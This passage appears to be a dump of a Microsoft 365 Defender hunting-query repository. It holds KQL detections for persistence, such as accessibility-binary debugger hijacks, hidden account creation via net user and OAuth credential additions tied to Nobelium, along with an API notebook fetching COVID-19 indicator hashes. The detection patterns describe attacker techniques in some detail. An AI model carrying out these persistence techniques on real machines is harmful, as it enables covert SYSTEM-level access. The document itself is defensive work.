json.loads(response.read())\\n\",\"aadToken = jsonResponse[\\\"access_token\\\"] # Access token for the next hour\"]},{\"cell_type\":\"code\",\"execution_count\":53,\"metadata\":{},\"outputs\":[],\"source\":[\"# Specify your Advanced Hunting query (KQL)\\n\",\"# Sample: get indicators of comprise for COVID-19 campaigns\\n\",\"\\n\",\"query = ('''\\n\",\"\\n\",\"let Covid19IoC = (externaldata(Covid19Indicators:string )\\n\",\"[@\\\"https://raw.githubusercontent.com/Azure/Azure-Sentinel/master/Sample%20Data/Feeds/Microsoft.Covid19.Indicators.json\\\"] with (format=\\\"multijson\\\"));\\n\",\"Covid19IoC\\n\",\"| mv-expand(parse_json(Covid19Indicators))\\n\",\"| project Covid19Indicators = todynamic(Covid19Indicators)\\n\",\"| evaluate bag_unpack(Covid19Indicators) | evaluate bag_unpack(AdditionalMetadata)\\n\",\"| project FirstSeen, ThreatType, FileSha256=Indicator, FileMd5, FileSha1, ExternalId\\n\",\"\\n\",\"''') # KQL\\n\",\"\\n\",\"# Need inspiration? Here's a MTP cheat sheet: \\n\",\"# https://medium.com/threathunt/introducing-mtp-advance-hunting-cheat-sheet-1535862c5e84\"]},{\"cell_type\":\"code\",\"execution_count\":50,\"metadata\":{},\"outputs\":[],\"source\":[\"url = \\\"https://api.security.microsoft.com/api/advancedhunting/run\\\" # Query the MTP Advanced Hunting API\\n\",\"headers = { \\n\",\"\\t'Content-Type' : 'application/json',\\n\",\"\\t'Accept' : 'application/json',\\n\",\"\\t'Authorization' : \\\"Bearer \\\" + aadToken\\n\",\"}\\n\",\"\\n\",\"data = json.dumps({ 'Query' : query }).encode(\\\"utf-8\\\")\\n\",\"\\n\",\"req = urllib.request.Request(url, data, headers)\\n\",\"response = urllib.request.urlopen(req)\\n\",\"jsonResponse = json.loads(response.read())\\n\",\"schema = jsonResponse[\\\"Schema\\\"]\\n\",\"results = jsonResponse[\\\"Results\\\"] # JSON response will be loaded in variable called 'results'\"]},{\"cell_type\":\"code\",\"execution_count\":54,\"metadata\":{},\"outputs\":[{\"output_type\":\"execute_result\",\"data\":{\"text/plain\":\"                FirstSeen ThreatType  \\\\\\n0    2020-07-29T00:17:55Z      Phish   \\n1    2020-07-07T20:55:05Z    Malware   \\n2    2020-07-07T20:40:38Z    Malware   \\n3    2020-07-07T19:58:21Z    Malware   \\n4    2020-07-07T20:11:08Z    Malware   \\n..                    ...        ...   \\n357  2020-08-13T21:25:44Z      Phish   \\n358  2020-08-10T10:05:35Z      Phish   \\n359  2020-08-09T19:30:26Z      Phish   \\n360  2020-08-09T15:52:39Z      Phish   \\n361  2020-08-04T17:40:51Z      Phish   \\n\\n                                            FileSha256  \\\\\\n0    1b0a0abb55a0d47ae9439947a022ccf4901876622a40ef...   \\n1    064147ab90d91d91a642163b45fc1db3b93f7a0ee9ea34...   \\n2    5f9a2e47545a9cafaefb332e7e1c4ae36d2fe7f0c04890...   \\n3    dc9124c7f6cc9a45e5c6330f16d52b6b279e654cd974b4...   \\n4    e055b8ceea393ed64596f0398f33d06d863fdb3ef843f7...   \\n..                                                 ...   \\n357  baca3c59494f002664d4993d683f190984ad8d4ba7705c...   \\n358  037c58735813a7a287793b74ca113b73bdc61a8657e723...   \\n359  6634cad00f3cf79d858882f2c1170bb9f6486c01f2e97c...   \\n360  ffafe3c772ee00762745c0fdecfc910da06f043ef1cf96...   \\n361  4118bfe7cac599cb88694af49c34bbd82fc8f0615934e5...   \\n\\n                              FileMd5  \\\\\\n0    afde4667948a55f8539aa9425c7f62ef   \\n1    070e8c59080ff8dadeb45e6f569185cb   \\n2    500d9d25c3592ca97b0df084f9f5dbda   \\n3    f236dd1fd018d7b2514204177e7ae2d7   \\n4    ae24304e4d95499201e4a88577c17abe   \\n..                                ...   \\n357  ae3c4d5b384e72cf09d2412ce169f3aa   \\n358  2082b9e191e5c929acc40a9a7d8392b6   \\n359  4c6785476f3931151cbe34cd11634f7f   \\n360  3ef12c53b77b13c179e8c91810850939   \\n361  7a1c8a9ba5af265e8138bd36559c34fd   \\n\\n                                     FileSha1  \\\\\\n0    988c1e37a8c3e9045c582080035ab8f95b774451   \\n1    93affa95cd2d4c62beb3115b039ae7e44a12ca1c   \\n2    289991696ffc5bec3da311b7b809a4d976f68e4f   \\n3    ec4508b08b023d9a454f5c92adecc5516a4528f2   \\n4    bbb9f4e30ce3b75e938dc67cd939e24520610082   \\n..                                        ...   \\n357  005616da7e72e428805f0e783e43dca8052c956a   \\n358  2a3e2157a4351e53024275eb69db372a91e3b8ec   \\n359  93a4f074e6b5c10657b9075ebc4940e2dcf3695f   \\n360  c6988d37407d2105997281d977b6333f3eeb9024   \\n361  7964435fee4fb5427d833c5b3987d0505f267a7a   \\n\\n                               ExternalId  \\n0    58b808d3-30d1-ea11-b0a1-9cdc7141d162  \\n1    8089daad-93c0-ea11-b0a5-9cdc7148e892  \\n2    858a79a7-91c0-ea11-b0a8-040973d20fc2  \\n3    251647c5-8bc0-ea11-b0aa-040973d37112  \\n4    40747987-8dc0-ea11-b083-00155d012c08  \\n..                                    ...  \\n357  405ad461-abdd-ea11-b0a5-9cdc71462bf2  \\n358  1a79a5f1-f0da-ea11-b0ac-9cdc7150a8b2  \\n359  61ccca10-76da-ea11-b0aa-040973d2dbe2  \\n360  6e2c7e1a-58da-ea11-b09a-e0071b7ca442  \\n361  9e377876-79d6-ea11-b0a6-9cdc71475e92  \\n\\n[362 rows x 6 columns]\",\"text/html\":\"<div>\\n<style scoped>\\n    .dataframe tbody tr th:only-of-type {\\n        vertical-align: middle;\\n    }\\n\\n    .dataframe tbody tr th {\\n        vertical-align: top;\\n    }\\n\\n    .dataframe thead th {\\n        text-align: right;\\n    }\\n</style>\\n<table border=\\\"1\\\" class=\\\"dataframe\\\">\\n  <thead>\\n    <tr style=\\\"text-align: right;\\\">\\n      <th></th>\\n      <th>FirstSeen</th>\\n      <th>ThreatType</th>\\n      <th>FileSha256</th>\\n      <th>FileMd5</th>\\n      <th>FileSha1</th>\\n      <th>ExternalId</th>\\n    </tr>\\n  </thead>\\n  <tbody>\\n    <tr>\\n      <th>0</th>\\n      <td>2020-07-29T00:17:55Z</td>\\n      <td>Phish</td>\\n      <td>1b0a0abb55a0d47ae9439947a022ccf4901876622a40ef...</td>\\n      <td>afde4667948a55f8539aa9425c7f62ef</td>\\n      <td>988c1e37a8c3e9045c582080035ab8f95b774451</td>\\n      <td>58b808d3-30d1-ea11-b0a1-9cdc7141d162</td>\\n    </tr>\\n    <tr>\\n      <th>1</th>\\n      <td>2020-07-07T20:55:05Z</td>\\n      <td>Malware</td>\\n      <td>064147ab90d91d91a642163b45fc1db3b93f7a0ee9ea34...</td>\\n      <td>070e8c59080ff8dadeb45e6f569185cb</td>\\n      <td>93affa95cd2d4c62beb3115b039ae7e44a12ca1c</td>\\n      <td>8089daad-93c0-ea11-b0a5-9cdc7148e892</td>\\n    </tr>\\n    <tr>\\n      <th>2</th>\\n      <td>2020-07-07T20:40:38Z</td>\\n      <td>Malware</td>\\n      <td>5f9a2e47545a9cafaefb332e7e1c4ae36d2fe7f0c04890...</td>\\n      <td>500d9d25c3592ca97b0df084f9f5dbda</td>\\n      <td>289991696ffc5bec3da311b7b809a4d976f68e4f</td>\\n      <td>858a79a7-91c0-ea11-b0a8-040973d20fc2</td>\\n    </tr>\\n    <tr>\\n      <th>3</th>\\n      <td>2020-07-07T19:58:21Z</td>\\n      <td>Malware</td>\\n      <td>dc9124c7f6cc9a45e5c6330f16d52b6b279e654cd974b4...</td>\\n      <td>f236dd1fd018d7b2514204177e7ae2d7</td>\\n      <td>ec4508b08b023d9a454f5c92adecc5516a4528f2</td>\\n      <td>251647c5-8bc0-ea11-b0aa-040973d37112</td>\\n    </tr>\\n    <tr>\\n      <th>4</th>\\n      <td>2020-07-07T20:11:08Z</td>\\n      <td>Malware</td>\\n      <td>e055b8ceea393ed64596f0398f33d06d863fdb3ef843f7...</td>\\n      <td>ae24304e4d95499201e4a88577c17abe</td>\\n      <td>bbb9f4e30ce3b75e938dc67cd939e24520610082</td>\\n      <td>40747987-8dc0-ea11-b083-00155d012c08</td>\\n    </tr>\\n    <tr>\\n      <th>...</th>\\n      <td>...</td>\\n      <td>...</td>\\n      <td>...</td>\\n      <td>...</td>\\n      <td>...</td>\\n      <td>...</td>\\n    </tr>\\n    <tr>\\n      <th>357</th>\\n      <td>2020-08-13T21:25:44Z</td>\\n      <td>Phish</td>\\n      <td>baca3c59494f002664d4993d683f190984ad8d4ba7705c...</td>\\n      <td>ae3c4d5b384e72cf09d2412ce169f3aa</td>\\n      <td>005616da7e72e428805f0e783e43dca8052c956a</td>\\n      <td>405ad461-abdd-ea11-b0a5-9cdc71462bf2</td>\\n    </tr>\\n    <tr>\\n      <th>358</th>\\n      <td>2020-08-10T10:05:35Z</td>\\n      <td>Phish</td>\\n      <td>037c58735813a7a287793b74ca113b73bdc61a8657e723...</td>\\n      <td>2082b9e191e5c929acc40a9a7d8392b6</td>\\n      <td>2a3e2157a4351e53024275eb69db372a91e3b8ec</td>\\n      <td>1a79a5f1-f0da-ea11-b0ac-9cdc7150a8b2</td>\\n    </tr>\\n    <tr>\\n      <th>359</th>\\n      <td>2020-08-09T19:30:26Z</td>\\n      <td>Phish</td>\\n      <td>6634cad00f3cf79d858882f2c1170bb9f6486c01f2e97c...</td>\\n      <td>4c6785476f3931151cbe34cd11634f7f</td>\\n      <td>93a4f074e6b5c10657b9075ebc4940e2dcf3695f</td>\\n      <td>61ccca10-76da-ea11-b0aa-040973d2dbe2</td>\\n    </tr>\\n    <tr>\\n      <th>360</th>\\n      <td>2020-08-09T15:52:39Z</td>\\n      <td>Phish</td>\\n      <td>ffafe3c772ee00762745c0fdecfc910da06f043ef1cf96...</td>\\n      <td>3ef12c53b77b13c179e8c91810850939</td>\\n      <td>c6988d37407d2105997281d977b6333f3eeb9024</td>\\n      <td>6e2c7e1a-58da-ea11-b09a-e0071b7ca442</td>\\n    </tr>\\n    <tr>\\n      <th>361</th>\\n      <td>2020-08-04T17:40:51Z</td>\\n      <td>Phish</td>\\n      <td>4118bfe7cac599cb88694af49c34bbd82fc8f0615934e5...</td>\\n      <td>7a1c8a9ba5af265e8138bd36559c34fd</td>\\n      <td>7964435fee4fb5427d833c5b3987d0505f267a7a</td>\\n      <td>9e377876-79d6-ea11-b0a6-9cdc71475e92</td>\\n    </tr>\\n  </tbody>\\n</table>\\n<p>362 rows × 6 columns</p>\\n</div>\"},\"metadata\":{},\"execution_count\":54}],\"source\":[\"from pandas.io.json import json_normalize\\n\",\"\\n\",\"json_normalize(results) # Convert JSON to a dataframe and display output\"]}],\"nbformat\":4,\"nbformat_minor\":2,\"metadata\":{\"language_info\":{\"name\":\"python\",\"codemirror_mode\":{\"name\":\"ipython\",\"version\":3},\"version\":\"3.7.6-final\"},\"orig_nbformat\":2,\"file_extension\":\".py\",\"mimetype\":\"text/x-python\",\"name\":\"python\",\"npconvert_exporter\":\"python\",\"pygments_lexer\":\"ipython3\",\"version\":3,\"kernelspec\":{\"name\":\"python_defaultSpec_1598541066972\",\"display_name\":\"Python 3.7.6 64-bit ('base': conda)\"}}}"
  },
  {
    "path": "Persistence/Accessibility Features.txt",
    "content": "// This query looks for persistence or priviledge escalation done using Windows Accessibility features.\r\n// It covers some of the techniques that could be used to utilize these features for malicious purposes,\r\n// including attaching a debugger using a registry config or overwriting these files.\r\n// Note: some developers might use such hacks for all sort of troubleshooting and testing purposes,\r\n//       but this better be prohibited, as it allows any account with access to the machine to run processes as SYSTEM.\r\n// Read more here: https://attack.mitre.org/wiki/Technique/T1015\r\n// Tags: #AccessibilityFeatures, #StickyKeys, #ImageFileExecutionOptions, #Debugger, #PriviledgeEscalation, #Persistence\r\nlet minTime = ago(7d);\r\nlet accessibilityProcessNames = dynamic([\"utilman.exe\",\"osk.exe\",\"magnify.exe\",\"narrator.exe\",\"displayswitch.exe\",\"atbroker.exe\",\"sethc.exe\", \"helppane.exe\"]);\r\n// Query for debuggers attached using a Registry setting to the accessibility processes\r\nlet attachedDebugger =\r\n    DeviceRegistryEvents\r\n    | where Timestamp > minTime\r\n    and RegistryKey startswith @\"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\\"\r\n    and RegistryValueName =~ \"debugger\"\r\n\t// Parse the debugged process name from the registry key\r\n    | parse RegistryKey with @\"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\\" FileName\r\n    | where FileName in~ (accessibilityProcessNames) and isnotempty(RegistryValueData)\r\n    | project Technique=\"AttachedDebugger\", FileName, AttachedDebuggerCommandline=RegistryValueData, InitiatingProcessCommandLine, Timestamp, DeviceName;\r\n// Query for overwrites of the accessibility files\r\nlet fileOverwiteOfAccessibilityFiles =\r\n    DeviceFileEvents\r\n    | where Timestamp > minTime\r\n        and FileName in~ (accessibilityProcessNames)\r\n        and FolderPath contains @\"Windows\\System32\" \r\n    | project Technique=\"OverwriteFile\", Timestamp, DeviceName, FileName, SHA1, InitiatingProcessCommandLine;\r\n// Query for unexpected hashes of processes with names matching the accessibility processes.\r\n// Specifically, query for hashes matching cmd.exe and powershell.exe, as these MS-signed general-purpose consoles are often used with this technique.\r\nlet executedProcessIsPowershellOrCmd =\r\n    DeviceProcessEvents \r\n    | project Technique=\"PreviousOverwriteFile\", Timestamp, DeviceName, FileName, SHA1 \r\n    | where Timestamp > minTime\r\n    | where FileName in~ (accessibilityProcessNames)\r\n    | join kind=leftsemi(\r\n        DeviceProcessEvents  \r\n        | where Timestamp > ago(14d) and (FileName =~ \"cmd.exe\" or FileName =~ \"powershell.exe\")\r\n        | summarize MachinesCount = dcount(DeviceName) by SHA1  \r\n        | where MachinesCount > 5\r\n        | project SHA1\r\n    ) on SHA1;\r\n// Union all results together. \r\n// An outer union is used because the schemas are a bit different between the tables - and we want to get the superset of all tables combined.\r\nattachedDebugger\r\n| union kind=outer fileOverwiteOfAccessibilityFiles\r\n| union kind=outer executedProcessIsPowershellOrCmd\r\n"
  },
  {
    "path": "Persistence/AddedCredentialFromContryXAndSigninFromCountryY.md",
    "content": "# AddedCredentialFromContryXAndSigninFromCountryY\nAdded credential from country X and Signed-In from country Y in a pecific time window:\nThis query tries to find all applications that credentials were added to them from country X while the application's identity Signed-In from country Y in a specific time window. \n\n## Query\n```\nlet timewindow = 1d;\nlet addedApps = (\nCloudAppEvents\n| where Application == \"Office 365\"\n| where ActionType in (\"Add service principal credentials.\", \"Update application – Certificates and secrets management \")\n| project AddedTimestamp = Timestamp , AppName = tostring(RawEventData.Target[3].ID), CountryCode );\nAADSpnSignInEventsBeta\n| join addedApps on $left.ServicePrincipalName == $right.AppName\n| where CountryCode != Country and AddedTimestamp + timewindow > Timestamp\n\n```\n## Category\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |   |  |\n| Execution |  |  |\n| Persistence | V |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control |  |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n**Organization:** Microsoft 365 Defender\n"
  },
  {
    "path": "Persistence/Create account.txt",
    "content": "// User accounts may be created to achieve persistence on a machine.\n// Read more here: https://attack.mitre.org/wiki/Technique/T1136\n// Tags: #CreateAccount\n\n// Query #1: Query for users being created using \"net user\" command\n// \"net user\" commands are noisy, so needs to be joined with another signal -\n// e.g. in this example we look for use of uncommon & undocumented commandline switches (e.g. /ad instead of /add)\nDeviceProcessEvents\n// Pro-tip: \n// There are many different ways to run a process from a file - e.g. by using full path, env. variables, ~1 annotation, more...\n// So, to find executions of a known filename, better filter on the filename (and possibly on folder path) than on the commandline.\n| where FileName in~ (\"net.exe\", \"net1.exe\") and Timestamp > ago(3d)\n// Parse the user name from the commandline.\n// To have case-insensitive parsing use the i flag, to have non-greedy match (e.g. CreatedUser as short as possible), specify U flag:\n// \"kind=regex flags=i\"\n| parse kind=regex flags=iU ProcessCommandLine with * \"user \" CreatedUser \" \" * \"/ad\"\n// Filter rows where user could not be parsed - e.g. because it was not a user command, or the /add commandline switch was not specified.\n| where isnotempty(CreatedUser)\n// Every net.exe executed will run net1.exe with the same commandline.\n// in this where clause we remove such rows, as they duplicate the number of results we have without adding any value.\n| where not (FileName =~ \"net1.exe\" and InitiatingProcessFileName =~ \"net.exe\" and replace(\"net\", \"net1\", InitiatingProcessCommandLine) =~ ProcessCommandLine)\n// If /domain is specified, so the user is created on the domain controller.\n// Also, any prefix that's longer than 1 char will also do the same, e.g. /do, /dom, /doma, ....\n| extend CreatedOnLocalMachine=(ProcessCommandLine !contains \"/do\")\n| where ProcessCommandLine !contains \"/add\" or (CreatedOnLocalMachine == 0 and ProcessCommandLine !contains \"/domain\")\n| summarize MachineCount=dcount(DeviceName) by CreatedUser, CreatedOnLocalMachine, InitiatingProcessFileName, FileName, ProcessCommandLine, InitiatingProcessCommandLine \n\n\n// Query #2: Query for accounts created on machines onboarded with Sense.\n// Create account event is noisy, so we need to join it with some other signal.\n// E.g. In this query we look for accounts created which name resembles \"administrator\".\n//      Using account names similar to known common account names is a common way to be evade the human analyst eye.\nDeviceEvents\n| where ActionType == \"UserAccountCreated\"\n// To look for account names similar to administrator, we'll simply query for the prefix and suffix,\n// because these letters matter most to the human perception: https://en.wikipedia.org/wiki/Typoglycemia\n// Calculating distance functions is possible but will be much more complicated - \n// and looking for prefix and suffix should work in this case pretty well.\n| where AccountName startswith \"ad\" and AccountName endswith \"or\" and AccountName !~ \"administrator\"\n// Note: For the UserAccountCreated event we do not know the details of the process / account that was used to create this new account.\n| project AccountName, AccountDomain, DeviceName, Timestamp\n| limit 100\n"
  },
  {
    "path": "Persistence/CredentialsAddAfterAdminConsentedToApp[Nobelium].md",
    "content": "# Credentials were added to an Azure AD application after 'Admin Consent' permissions granted [Nobelium]\n\nCredentials were added to an application by UserA, after the application was granted admin consent rights by UserB\n\nThe Nobelium activity group has been observed adding credentials (x509 keys or password credentials) for one or more legitimate OAuth Applications or Service Principals, usually with existing Mail.Read or Mail.ReadWrite permissions, which grants the ability to read mail content from Exchange Online via Microsoft Graph or Outlook REST. Examples include mail archiving applications.\n\nSee [*Customer Guidance on Recent Nation-State Cyber Attacks*](https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/) for more on the Nobelium campaign (formerly known as Solorigate).\n\nSee [*Grant tenant-wide admin consent to an application*](https://docs.microsoft.com/en-us/azure/active-directory/manage-apps/grant-admin-consent) for how to add admin consent to an application.\n\nMore Nobelium-related queries can be found listed under the [See also](#see-also) section of this document.\n\n## Query\n\n```Kusto\nCloudAppEvents\n| where Application == \"Office 365\"\n| where ActionType == \"Consent to application.\"\n| where RawEventData.ModifiedProperties[0].Name == \"ConsentContext.IsAdminConsent\" and RawEventData.ModifiedProperties[0].NewValue == \"True\"\n| extend spnID = tostring(RawEventData.Target[3].ID)\n| parse RawEventData.ModifiedProperties[4].NewValue with * \"=> [[\" dummpy \"Scope: \" After \"]]\" *\n| extend PermissionsGranted = split(After, \"]\",0)\n| project ConsentTime = Timestamp , AccountDisplayName , spnID , PermissionsGranted\n| join (\n CloudAppEvents\n | where Application == \"Office 365\"\n | where ActionType == \"Add service principal credentials.\" or ActionType == \"Update application – Certificates and secrets management \"\n | extend spnID = tostring(RawEventData.Target[3].ID) \n | project AddSecretTime = Timestamp, AccountDisplayName , spnID \n ) on spnID \n| where ConsentTime < AddSecretTime and AccountDisplayName <> AccountDisplayName1\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence | V |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n## See also\n\n* [Locate Nobelium implant receiving DNS response](../Campaigns/c2-lookup-from-nonbrowser[Nobelium].md)\n* [Locate Nobelium implant receiving DNS response](../Campaigns/c2-lookup-response[Nobelium].md)\n* [Compromised certificate [Nobelium]](../Campaigns/compromised-certificate[Nobelium].md)\n* [FireEye Red Team tool CVEs [Nobelium]](../Campaigns/fireeye-red-team-tools-CVEs%20[Nobelium].md)\n* [FireEye Red Team tool HASHs [Nobelium]](../Campaigns/fireeye-red-team-tools-HASHs%20[Nobelium].md)\n* [View data on software identified as affected by Nobelium campaign](../Campaigns/known-affected-software-orion[Nobelium].md)\n* [Locate SolarWinds processes launching suspicious PowerShell commands](../Campaigns/launching-base64-powershell[Nobelium].md)\n* [Locate SolarWinds processes launching command prompt with the echo command](../Campaigns/launching-cmd-echo[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs created in the system or locally](../Campaigns/locate-dll-created-locally[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs loaded in memory](../Campaigns/locate-dll-loaded-in-memory[Nobelium].md)\n* [Get an inventory of SolarWinds Orion software possibly affected by Nobelium](../Campaigns/possible-affected-software-orion[Nobelium].md)\n* [Anomalous use of MailItemAccess on other users' mailboxes [Nobelium]](../Collection/Anomaly%20of%20MailItemAccess%20by%20Other%20Users%20Mailbox%20[Nobelium].md)\n* [Nobelium campaign DNS pattern](../Command%20and%20Control/DNSPattern%20[Nobelium].md)\n* [Nobelium encoded domain in URL](../Command%20and%20Control/EncodedDomainURL%20[Nobelium].md)\n* [Domain federation trust settings modified](../Defense%20evasion/ADFSDomainTrustMods[Nobelium].md)\n* [Discovering potentially tampered devices [Nobelium]](../Defense%20evasion/Discovering%20potentially%20tampered%20devices%20[Nobelium].md)\n* [Mail.Read or Mail.ReadWrite permissions added to OAuth application](../Defense%20evasion/MailPermissionsAddedToApplication[Nobelium].md)\n* [Suspicious enumeration using Adfind tool](../Discovery/SuspiciousEnumerationUsingAdfind[Nobelium].md)\n* [Anomalous use of MailItemAccess by GraphAPI [Nobelium]](../Exfiltration/Anomaly%20of%20MailItemAccess%20by%20GraphAPI%20[Nobelium].md)\n* [MailItemsAccessed throttling [Nobelium]](../Exfiltration/MailItemsAccessed%20Throttling%20[Nobelium].md)\n* [OAuth apps accessing user mail via GraphAPI [Nobelium]](../Exfiltration/OAuth%20Apps%20accessing%20user%20mail%20via%20GraphAPI%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI and directly [Nobelium]](../Exfiltration/OAuth%20Apps%20reading%20mail%20both%20via%20GraphAPI%20and%20directly%20[Nobelium].md)\n* [OAuth apps reading mail via GraphAPI anomaly [Nobelium]](../Exfiltration/OAuth%20Apps%20reading%20mail%20via%20GraphAPI%20anomaly%20[Nobelium].md)\n* [New access credential added to application or service principal](./NewAppOrServicePrincipalCredential[Nobelium].md)\n* [Add uncommon credential type to application [Nobelium]](../Privilege%20escalation/Add%20uncommon%20credential%20type%20to%20application%20[Nobelium].md)\n* [ServicePrincipalAddedToRole [Nobelium]](../Privilege%20escalation/ServicePrincipalAddedToRole%20[Nobelium].md)\n\n## Contributor info\n\n**Contributor:** Tal Maor\n**GitHub alias:** @talthemaor\n**Organization:** Microsoft 365 Defender\n**Contact info:** talma@microsoft.com\n"
  },
  {
    "path": "Persistence/LocalAdminGroupChanges.txt",
    "content": "// Author: alex verboon @alexverboon\n// Blogpost: https://www.verboon.info/2020/09/hunting-for-local-group-membership-changes/\n\n\nlet ADAZUsers =  IdentityInfo \n| extend DirectoryDomain = AccountDomain \n| extend DirectoryAccount = AccountName \n| distinct DirectoryDomain , DirectoryAccount , OnPremSid , CloudSid, AccountUpn, GivenName, Surname;\n // check for any new created or modified local accounts \nlet NewUsers =  DeviceEvents\n| where ActionType contains \"UserAccountCreated\"  // or ActionType contains \"UserAccountModified\"\n| extend lUserAdded = AccountName\n| extend NewUserSID = AccountSid\n| extend laccountdomain = AccountDomain\n| distinct NewUserSID, lUserAdded,laccountdomain;\n// Check for any local group changes and enrich the data with the account name obtained from the previous query\nDeviceEvents \n| where ActionType == 'UserAccountAddedToLocalGroup' \n| extend AddedAccountSID = tostring(parse_json(AdditionalFields).MemberSid)\n| extend LocalGroup = AccountName\n| extend LocalGroupSID = AccountSid\n| extend Actor = trim(@\"[^\\w]+\",InitiatingProcessAccountName)\n// limit to local administrators group\n//  | where LocalGroupSID contains \"S-1-5-32-544\"\n| join kind= leftouter    (NewUsers)\non $left.AddedAccountSID == $right.NewUserSID\n| project Timestamp, DeviceName, LocalGroup,LocalGroupSID, AddedAccountSID, lUserAdded , Actor, ActionType , laccountdomain \n| join kind= leftouter        (ADAZUsers)\non $left.AddedAccountSID == $right.OnPremSid\n| extend UserAdded = iff(isnotempty(lUserAdded),strcat(laccountdomain,\"\\\\\", lUserAdded), strcat(DirectoryDomain,\"\\\\\", DirectoryAccount))\n| project Timestamp, DeviceName, LocalGroup,LocalGroupSID, AddedAccountSID, UserAdded , Actor, ActionType  \n| where DeviceName !contains Actor \n// Provide details on actors that added users\n// | summarize count()  by Actor \n// | join ADAZUsers\n// on $left.Actor == $right.DirectoryAccount \n// | render piechart "
  },
  {
    "path": "Persistence/NewAppOrServicePrincipalCredential[Nobelium].md",
    "content": "# New access credential added to application or service principal\n\nThis query will find when a new credential is added to an application or service principal.\n\nThe Nobelium activity group was able to gain sufficient access to add credentials to existing applications with mail read permissions. They used that access to exfiltrate email. \n\nSee [*Customer Guidance on Recent Nation-State Cyber Attacks*](https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/) for more on the Nobelium campaign (formerly known as Solorigate).\n\nAdditional information on OAuth Credential Grants can be found in RFC 6749 Section 4.4 or [*Azure AD audit activity reference*](https://docs.microsoft.com/azure/active-directory/develop/v2-oauth2-client-creds-grant-flow).\n\nFor further information on AuditLogs please see [*Azure AD audit activity reference*](https://docs.microsoft.com/azure/active-directory/reports-monitoring/reference-audit-activities).\n\nThis query was inspired by an Azure Sentinel [detection](https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/NewAppOrServicePrincipalCredential.yaml).\n\n## Query\n\n```kusto\n// New access credential added to application or service principal\nlet auditLookback = 1d;\nCloudAppEvents\n| where Timestamp > ago(auditLookback)\n| where ActionType in (\"Add service principal.\", \"Add service principal credentials.\", \"Update application � Certificates and secrets management \")\n| extend RawEventData = parse_json(RawEventData)\n| where RawEventData.ResultStatus =~ \"success\"\n// Select only users or applications initiating the credential changes\n| extend ActorDetails = RawEventData.Actor\n| mvexpand ActorDetails\n| where ActorDetails has \"@\"\n| extend targetDetails = parse_json(ActivityObjects[1])\n| extend targetId = targetDetails.Id\n| extend targetType = targetDetails.Type\n| extend targetDisplayName = targetDetails.Name\n| extend keyEvents = RawEventData.ModifiedProperties\n| where keyEvents has \"KeyIdentifier=\" and keyEvents has \"KeyUsage=Verify\"\n| mvexpand keyEvents\n| where keyEvents.Name =~ \"KeyDescription\"\n| parse keyEvents.NewValue with * \"KeyIdentifier=\" keyIdentifier:string \",KeyType=\" keyType:string \",KeyUsage=\" keyUsage:string \",DisplayName=\" keyDisplayName:string \"]\" *\n| parse keyEvents.OldValue with * \"KeyIdentifier=\" keyIdentifierOld:string \",KeyType\" *\n| where keyEvents.OldValue == \"[]\" or keyIdentifier != keyIdentifierOld\n| where keyUsage == \"Verify\"\n| project-away keyEvents\n| project Timestamp, ActionType, InitiatingUserOrApp=AccountDisplayName, InitiatingIPAddress=IPAddress, UserAgent, targetDisplayName, targetId, targetType, keyDisplayName, keyType, keyUsage, keyIdentifier\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution |  |  |\n| Persistence | V | T1098.001 |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Locate Nobelium implant receiving DNS response](../Campaigns/c2-lookup-from-nonbrowser[Nobelium].md)\n* [Locate Nobelium implant receiving DNS response](../Campaigns/c2-lookup-response[Nobelium].md)\n* [Compromised certificate [Nobelium]](../Campaigns/compromised-certificate[Nobelium].md)\n* [FireEye Red Team tool CVEs [Nobelium]](../Campaigns/fireeye-red-team-tools-CVEs%20[Nobelium].md)\n* [FireEye Red Team tool HASHs [Nobelium]](../Campaigns/fireeye-red-team-tools-HASHs%20[Nobelium].md)\n* [View data on software identified as affected by Nobelium campaign](../Campaigns/known-affected-software-orion[Nobelium].md)\n* [Locate SolarWinds processes launching suspicious PowerShell commands](../Campaigns/launching-base64-powershell[Nobelium].md)\n* [Locate SolarWinds processes launching command prompt with the echo command](../Campaigns/launching-cmd-echo[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs created in the system or locally](../Campaigns/locate-dll-created-locally[Nobelium].md)\n* [Locate Nobelium-related malicious DLLs loaded in 